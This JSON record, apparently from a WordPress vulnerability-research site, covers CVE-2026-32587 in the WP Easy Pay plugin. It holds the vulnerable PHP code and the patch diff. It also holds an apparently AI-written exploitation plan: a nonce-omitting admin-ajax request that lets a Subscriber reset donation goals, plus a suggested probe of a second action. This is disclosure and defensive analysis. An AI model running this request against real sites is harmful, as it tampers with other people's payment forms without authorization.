[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ffyE4XavenO6s981HULSGdIaaH93CcZLXBvBoMTkUhtc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-32587","wp-easy-pay-payment-and-donation-form-builder-for-square-missing-authorization","WP Easy Pay – Payment and Donation form Builder for Square \u003C= 4.2.11 - Missing Authorization","The WP Easy Pay – Payment and Donation form Builder for Square plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.2.11. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.","wp-easy-pay",null,"\u003C=4.2.11","4.2.12","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-03-16 00:00:00","2026-03-27 20:37:49",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F56b4b819-55d9-4523-96ef-e2a4ac7ecec9?source=api-prod",12,[22,23,24,25],"assets\u002Fbackend\u002Fjs\u002Fwpep_backend_scripts.js","readme.txt","wp-easy-pay.php","wpep-setup.php","researched",false,3,"# Exploitation Research Plan: WP Easy Pay – Missing Authorization (CVE-2026-32587)\n\n## 1. Vulnerability Summary\nThe **WP Easy Pay – Payment and Donation form Builder for Square** plugin (\u003C= 4.2.11) contains a missing authorization vulnerability in its AJAX handlers. Specifically, the function `wpep_reset_donation_goal` registered via the `wp_ajax_wpep_reset_donation_goal` action fails to perform a capability check (e.g., `current_user_can( 'manage_options' )`). This allows any authenticated user, including those with **Subscriber** roles, to reset the donation goal status for any payment form. Additionally, the nonce verification in this function is conditionally implemented, allowing for a complete bypass if the nonce parameter is omitted.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `wpep_reset_donation_goal`\n- **Method:** `POST`\n- **Authentication:** Required (Subscriber-level or higher)\n- **Vulnerable Parameter:** `form_id` (The ID of the target `wp_easy_pay` post)\n- **Bypass Parameter:** `donation_goal_nonce` (Omit this to bypass the broken nonce check)\n\n## 3. Code Flow\n1. **Entry Point:** An authenticated user sends a POST request to `admin-ajax.php` with `action=wpep_reset_donation_goal`.\n2. **Hook Registration:** In `wpep-setup.php`, the action is registered: \n   `add_action( 'wp_ajax_wpep_reset_donation_goal', 'wpep_reset_donation_goal' );`\n3. **Vulnerable Function:** The execution moves to `wpep_reset_donation_goal()` in `wpep-setup.php`.\n4. **Broken Nonce Check (lines 55-57):**\n   ```php\n   if ( isset( $_POST['donation_goal_nonce'] ) && ! wp_verify_nonce( ... ) ) {\n       exit;\n   }\n   ```\n   If the `donation_goal_nonce` parameter is **missing** from the request, the `isset()` check returns `false`, short-circuiting the logic and bypassing the `wp_verify_nonce` call entirely.\n5. **Missing Authorization:** No `current_user_can()` check exists before the state-changing operation.\n6. **Data Sink (lines 60-61):**\n   ```php\n   update_post_meta( sanitize_text_field( wp_unslash( $_POST['form_id'] ) ), 'wpep_donation_goal_achieved', 0 );\n   ```\n   The plugin updates the meta value `wpep_donation_goal_achieved` to `0` for the provided `form_id`.\n\n## 4. Nonce Acquisition Strategy\nThe vulnerability features a **Conditional Nonce Bypass**. \n- To exploit this, **do not provide a nonce**.\n- By omitting the `donation_goal_nonce` parameter, the `isset($_POST['donation_goal_nonce'])` check evaluates to `false`, and the function proceeds to the update logic.\n- If the bypass were fixed but the authorization check remained missing, the nonce could be found in the admin dashboard for the `wp_easy_pay` post type, localized under the variable name `wpep_hide_elements` (inferred from `assets\u002Fbackend\u002Fjs\u002Fwpep_backend_scripts.js`).\n\n## 5. Exploitation Strategy\n### Step 1: Create a Subscriber User\nUse WP-CLI to create a low-privileged user to demonstrate the unauthorized access.\n```bash\nwp user create attacker attacker@example.com --role=subscriber --user_pass=password123\n```\n\n### Step 2: Identify\u002FSetup Target Form\nIdentify a form ID (post type `wp_easy_pay`). If none exists, create one and set its goal to \"achieved\".\n```bash\n# Create form\nFORM_ID=$(wp post create --post_type=wp_easy_pay --post_title=\"Donation Form\" --post_status=publish --porcelain)\n# Set goal as achieved (1)\nwp post meta update $FORM_ID wpep_donation_goal_achieved 1\n```\n\n### Step 3: Send Malicious AJAX Request\nSend a POST request as the Subscriber user. **Crucially, omit the nonce.**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers:** \n  - `Content-Type: application\u002Fx-www-form-urlencoded`\n  - `Cookie: [Subscriber Cookies]`\n- **Body:** `action=wpep_reset_donation_goal&form_id=[FORM_ID]`\n\n## 6. Test Data Setup\n1. **Plugin Installation:** Ensure WP Easy Pay \u003C= 4.2.11 is active.\n2. **Form Creation:** Use the `Example Form` created on activation or manually create a `wp_easy_pay` post.\n3. **State Setup:** Manually set the meta `wpep_donation_goal_achieved` to `1` for the target post ID.\n4. **User Creation:** Create a user with the `subscriber` role.\n\n## 7. Expected Results\n- **Response Code:** 200 OK\n- **Response Body:** `done`\n- **Database Effect:** The `post_meta` value for `wpep_donation_goal_achieved` associated with the `form_id` should be changed from `1` to `0`.\n\n## 8. Verification Steps\nAfter the HTTP request, verify the meta change using WP-CLI:\n```bash\nwp post meta get [FORM_ID] wpep_donation_goal_achieved\n# Expected Output: 0\n```\n\n## 9. Alternative Approaches\nIf the plugin version has a more robust nonce check, look for other AJAX actions registered in `wpep-setup.php` or `wp-easy-pay.php`. The JS file references `wpep_square_products_popup` and `wpep_square_products_search`.\n- **Target:** `wpep_square_products_popup`\n- **Method:** POST\n- **Action:** `wpep_square_products_popup`\n- **Nonce Key:** `square_product_nonce`\n- **Localization Object:** `wpep_hide_elements`\n- **Potential Impact:** Information disclosure of Square product inventory\u002FAPI metadata.\n\nTo find the nonce for this alternative:\n1. Navigate to a page where the Square product popup is active (likely the form editor).\n2. Execute `browser_eval(\"jQuery('#square_product_nonce').val()\")`.","The WP Easy Pay plugin for WordPress is vulnerable to unauthorized access and CSRF-like exploitation due to missing capability checks and a flawed nonce verification logic in its AJAX handler for resetting donation goals. Authenticated attackers with Subscriber-level access or higher can reset the donation goal status of any form by sending a request while omitting the nonce parameter to bypass the validation check.","\u002F\u002F wpep-setup.php lines 53-62\nfunction wpep_reset_donation_goal() {\n\n\tif ( isset( $_POST['donation_goal_nonce'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['donation_goal_nonce'] ) ), 'donation-goal-nonce' ) ) {\n\t\texit;\n\t}\n\n\tif ( isset( $_POST['form_id'] ) && ! empty( $_POST['form_id'] ) ) {\n\t\tupdate_post_meta( sanitize_text_field( wp_unslash( $_POST['form_id'] ) ), 'wpep_donation_goal_achieved', 0 );\n\t\twp_die( 'done' );\n\t}\n}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-easy-pay\u002F4.2.11\u002Fwpep-setup.php\t2025-12-09 09:26:28.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-easy-pay\u002F4.2.12\u002Fwpep-setup.php\t2026-03-02 09:29:12.000000000 +0000\n@@ -41,21 +41,31 @@\n \u002F**\n  * Resets the donation goal achieved status for a specified form.\n  *\n- * This function checks for a valid nonce and form ID in the request, and if both are valid,\n- * it updates the donation goal status (`wpep_donation_goal_achieved`) for the specified form ID to 0.\n+ * Validates nonce and form ID; then updates wpep_donation_goal_achieved to 0.\n  *\n- * @return void Outputs 'done' and terminates script execution if successful.\n+ * @return void Sends 'done' on success or exits with error status on failure.\n  *\u002F\n function wpep_reset_donation_goal() {\n \n-\tif ( isset( $_POST['donation_goal_nonce'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['donation_goal_nonce'] ) ), 'donation-goal-nonce' ) ) {\n-\t\texit;\n+\t\u002F\u002F Require nonce (prevents bypass by omitting donation_goal_nonce parameter).\n+\tif (\n+\t\t! isset( $_POST['donation_goal_nonce'] ) || \u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce verified in wp_verify_nonce() below.\n+\t\t! wp_verify_nonce(\n+\t\t\tsanitize_text_field( wp_unslash( $_POST['donation_goal_nonce'] ) ), \u002F\u002F phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by sanitize_text_field().\n+\t\t\t'donation-goal-nonce'\n+\t\t)\n+\t) {\n+\t\twp_die( 'Invalid nonce', 403 );\n \t}\n \n-\tif ( isset( $_POST['form_id'] ) && ! empty( $_POST['form_id'] ) ) {\n-\t\tupdate_post_meta( sanitize_text_field( wp_unslash( $_POST['form_id'] ) ), 'wpep_donation_goal_achieved', 0 );\n-\t\twp_die( 'done' );\n+\t$form_id = isset( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0; \u002F\u002F phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated -- Validated via absint().\n+\tif ( 0 === $form_id ) {\n+\t\twp_die( 'Missing form ID', 400 );\n \t}\n+\n+\tupdate_post_meta( $form_id, 'wpep_donation_goal_achieved', 0 );\n+\n+\twp_die( 'done' );\n }","The exploit targets the `wpep_reset_donation_goal` AJAX action. An authenticated user (Subscriber or higher) sends a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the parameter `action=wpep_reset_donation_goal` and the target `form_id`. Because the original code only checks the nonce if the `donation_goal_nonce` parameter is present in the request, the attacker simply omits that parameter to bypass verification. Since there is no `current_user_can()` check, the backend proceeds to update the `wpep_donation_goal_achieved` post meta for the specified form, resetting its progress state.","gemini-3-flash-preview","2026-04-18 03:33:15","2026-04-18 03:33:56",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","4.2.11","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-easy-pay\u002Ftags\u002F4.2.11","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-easy-pay.4.2.11.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-easy-pay\u002Ftags\u002F4.2.12","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-easy-pay.4.2.12.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-easy-pay\u002Ftags"]